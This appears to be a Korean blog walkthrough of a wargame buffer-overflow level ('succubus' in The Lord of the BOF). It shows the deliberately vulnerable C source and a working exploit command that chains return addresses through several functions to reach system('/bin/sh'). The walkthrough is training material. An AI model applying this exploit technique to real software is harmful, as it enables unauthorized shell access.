/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("welcome to the GUL!\n"); check = 3; } void GYE(void) { if(check != 1) exit(0); printf("welcome to the GYE!\n"); check = 2; } void DO(void) { printf("welcome to the DO!\n"); check = 1; } main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // you cannot use library if(strchr(argv[1], '\x40')){ printf("You cannot use library\n"); exit(0); } // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with DO\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); }
코드가 너무 길어서 스샷을 찍을수가... ㅠㅠ
쨋든 코드를 분석해보면 함수 호출 규약에 관한 문제인거같습니다.
main애 주렁주렁 달린건 꼼수방지인거 같네요.
그냥 DO -> GYE -> GUL -> YUT -> MO 로 함수를 호출해 주면 될거 같습니다.
MO 호출뒤에는 dummy[4 byte] + "/bin/sh" 문자열 주소 + "/bin/sh" 식으로 풀이하면 될거 같습니다.
시간이 없으니 주소값 찾는건 생략하고 바로 공격 하죠 ( gdb로 p DO, p GYE ... 하면 됩니다) 점심시간 좀 늘려줬으면;;
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" +"AAAA"+"\x98\xfa\xff\xbf" + "/bin/sh"'`
클리어!
'Pwnable > LOB' 카테고리의 다른 글
[Level19] nightmare -> xavius (0) | 2017.05.18 |
---|---|
[Level18] succubus -> nightmare (0) | 2017.05.18 |
[Level16] assassin -> zombie_assassin (0) | 2017.05.17 |
[Level15] giant -> assassin (0) | 2017.05.17 |
[Level14] bugbear -> giant (0) | 2017.05.17 |